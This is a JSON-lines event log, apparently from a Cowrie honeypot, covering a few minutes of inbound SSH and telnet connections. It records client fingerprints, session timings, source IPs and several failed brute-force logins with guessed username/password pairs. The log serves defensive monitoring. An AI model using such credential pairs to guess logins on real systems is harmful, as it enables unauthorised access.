{"eventid":"cowrie.session.closed","duration":48.64012360572815,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:45.492604Z","src_ip":"68.183.198.12","session":"c237c27d2764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.25837731361389,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:49.358623Z","src_ip":"64.227.101.30","session":"6b11684f2cd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.91845107078552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:49.362764Z","src_ip":"64.227.101.30","session":"8119dcfe80db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.37726044654846,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:02.780932Z","src_ip":"64.227.101.30","session":"379508664fc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.160823583602905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:02.878530Z","src_ip":"64.227.101.30","session":"38478482c6c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.05358290672302,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:06.111321Z","src_ip":"68.183.198.12","session":"fb67e6b81ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.73716115951538,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:06.675151Z","src_ip":"64.227.101.30","session":"37b0d47195fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.611244678497314,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:08.624553Z","src_ip":"64.227.101.30","session":"05985cfb7039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":41226,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbca0c43d71","protocol":"ssh","message":"New connection: 43.165.185.71:41226 (10.17.0.5:22) [session: fdbca0c43d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:13.461653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:13.466119Z","src_ip":"43.165.185.71","session":"fdbca0c43d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:13.641243Z","src_ip":"43.165.185.71","session":"fdbca0c43d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60010,"dst_ip":"159.203.135.109","dst_port":23,"session":"25ef3cc3b322","protocol":"telnet","message":"New connection: 68.183.198.12:60010 (159.203.135.109:23) [session: 25ef3cc3b322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:14.218256Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"zaq123","message":"login attempt [user/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:14.352951Z","src_ip":"43.165.185.71","session":"fdbca0c43d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:15.527258Z","src_ip":"43.165.185.71","session":"fdbca0c43d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.26399493217468,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:15.532720Z","src_ip":"64.227.101.30","session":"7588394eefe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.52551531791687,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:17.328552Z","src_ip":"64.227.101.30","session":"9a96f985f885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eed6cf5e18d","protocol":"telnet","message":"New connection: 64.227.101.30:45682 (10.17.0.5:23) [session: 0eed6cf5e18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:21.389710Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"4248ff16cdd7","protocol":"ssh","message":"New connection: 103.170.173.26:35392 (10.17.0.5:22) [session: 4248ff16cdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:22.164981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:22.170231Z","src_ip":"103.170.173.26","session":"4248ff16cdd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:22.425018Z","src_ip":"103.170.173.26","session":"4248ff16cdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33090,"dst_ip":"159.203.135.109","dst_port":23,"session":"20018b3dc6c8","protocol":"telnet","message":"New connection: 68.183.198.12:33090 (159.203.135.109:23) [session: 20018b3dc6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:23.038657Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4R","message":"login attempt [admin/1q2w3e4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:24.177033Z","src_ip":"103.170.173.26","session":"4248ff16cdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"31bbbce87f16","protocol":"telnet","message":"New connection: 64.227.101.30:46454 (10.17.0.5:23) [session: 31bbbce87f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:24.683203Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:25.433850Z","src_ip":"103.170.173.26","session":"4248ff16cdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43150,"dst_ip":"10.17.0.5","dst_port":23,"session":"54eee650abcb","protocol":"telnet","message":"New connection: 64.227.101.30:43150 (10.17.0.5:23) [session: 54eee650abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:26.100370Z"}
{"eventid":"cowrie.session.closed","duration":41.19552302360535,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:26.492443Z","src_ip":"64.227.101.30","session":"7110e539aa53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34682,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3685c351e4","protocol":"telnet","message":"New connection: 68.183.198.12:34682 (159.203.135.109:23) [session: 5f3685c351e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:31.169684Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80f129709d8","protocol":"telnet","message":"New connection: 64.227.101.30:46796 (10.17.0.5:23) [session: b80f129709d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:31.203734Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39514,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0bade29ff3d","protocol":"telnet","message":"New connection: 64.227.101.30:39514 (10.17.0.5:23) [session: b0bade29ff3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:31.452230Z"}
{"eventid":"cowrie.session.closed","duration":3.068894386291504,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:34.520916Z","src_ip":"64.227.101.30","session":"b0bade29ff3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.502370595932007,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:35.671922Z","src_ip":"68.183.198.12","session":"5f3685c351e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49886,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7921613782","protocol":"telnet","message":"New connection: 64.227.101.30:49886 (10.17.0.5:23) [session: 0f7921613782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:38.436509Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44522,"dst_ip":"10.17.0.5","dst_port":23,"session":"333511a70afd","protocol":"telnet","message":"New connection: 64.227.101.30:44522 (10.17.0.5:23) [session: 333511a70afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:47.303602Z"}
{"eventid":"cowrie.session.closed","duration":0.006665945053100586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:47.310022Z","src_ip":"64.227.101.30","session":"333511a70afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c6d6660ab0","protocol":"telnet","message":"New connection: 64.227.101.30:53310 (10.17.0.5:23) [session: a8c6d6660ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:52.078611Z"}
{"eventid":"cowrie.session.closed","duration":24.853095293045044,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:56.056531Z","src_ip":"64.227.101.30","session":"b80f129709d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53744,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb40810b8e99","protocol":"telnet","message":"New connection: 64.227.101.30:53744 (10.17.0.5:23) [session: cb40810b8e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:57.764498Z"}
{"eventid":"cowrie.session.closed","duration":33.997856855392456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:58.680945Z","src_ip":"64.227.101.30","session":"31bbbce87f16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.39239025115967,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:58.781958Z","src_ip":"64.227.101.30","session":"0eed6cf5e18d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53490,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b2de981314","protocol":"telnet","message":"New connection: 64.227.101.30:53490 (10.17.0.5:23) [session: 41b2de981314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:19:59.830279Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b09a68719b","protocol":"telnet","message":"New connection: 68.183.198.12:39712 (159.203.135.109:23) [session: 73b09a68719b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:00.901421Z"}
{"eventid":"cowrie.session.closed","duration":47.711631059646606,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:01.929772Z","src_ip":"68.183.198.12","session":"25ef3cc3b322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a661f8c6ffd","protocol":"telnet","message":"New connection: 64.227.101.30:56280 (10.17.0.5:23) [session: 9a661f8c6ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:03.563896Z"}
{"eventid":"cowrie.session.closed","duration":38.30181956291199,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:04.402063Z","src_ip":"64.227.101.30","session":"54eee650abcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":37246,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead61e7c98b0","protocol":"ssh","message":"New connection: 43.165.185.71:37246 (10.17.0.5:22) [session: ead61e7c98b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:10.279962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:10.288013Z","src_ip":"43.165.185.71","session":"ead61e7c98b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:10.462092Z","src_ip":"43.165.185.71","session":"ead61e7c98b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"password","message":"login attempt [user3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:11.198857Z","src_ip":"43.165.185.71","session":"ead61e7c98b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.108.91.85","src_port":48594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33ba5c5b9f7","protocol":"telnet","message":"New connection: 42.108.91.85:48594 (159.203.135.109:23) [session: c33ba5c5b9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:12.234187Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:12.376992Z","src_ip":"43.165.185.71","session":"ead61e7c98b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.389832496643066,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:13.428369Z","src_ip":"68.183.198.12","session":"20018b3dc6c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08812236785889,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:16.524539Z","src_ip":"64.227.101.30","session":"0f7921613782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60968,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fafed97a0b5","protocol":"telnet","message":"New connection: 64.227.101.30:60968 (10.17.0.5:23) [session: 5fafed97a0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:18.747105Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40786,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0b54a340c1","protocol":"ssh","message":"New connection: 193.32.162.145:40786 (10.17.0.5:22) [session: 1f0b54a340c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:18.776992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:18.782162Z","src_ip":"193.32.162.145","session":"1f0b54a340c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:18.894716Z","src_ip":"193.32.162.145","session":"1f0b54a340c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol123","message":"login attempt [ubuntu/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:19.222168Z","src_ip":"193.32.162.145","session":"1f0b54a340c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:20.375220Z","src_ip":"193.32.162.145","session":"1f0b54a340c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42172,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a294a6da38d","protocol":"telnet","message":"New connection: 68.183.198.12:42172 (159.203.135.109:23) [session: 9a294a6da38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:22.493810Z"}
{"eventid":"cowrie.session.closed","duration":12.647847890853882,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:24.881876Z","src_ip":"42.108.91.85","session":"c33ba5c5b9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33952,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ec5724a43d","protocol":"telnet","message":"New connection: 64.227.101.30:33952 (10.17.0.5:23) [session: 90ec5724a43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:25.988728Z"}
{"eventid":"cowrie.session.closed","duration":5.435352563858032,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:27.929047Z","src_ip":"68.183.198.12","session":"9a294a6da38d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2715256214141846,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:28.260126Z","src_ip":"64.227.101.30","session":"90ec5724a43d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37164,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b5c10e9b7c","protocol":"telnet","message":"New connection: 64.227.101.30:37164 (10.17.0.5:23) [session: 33b5c10e9b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:20:29.971336Z"}
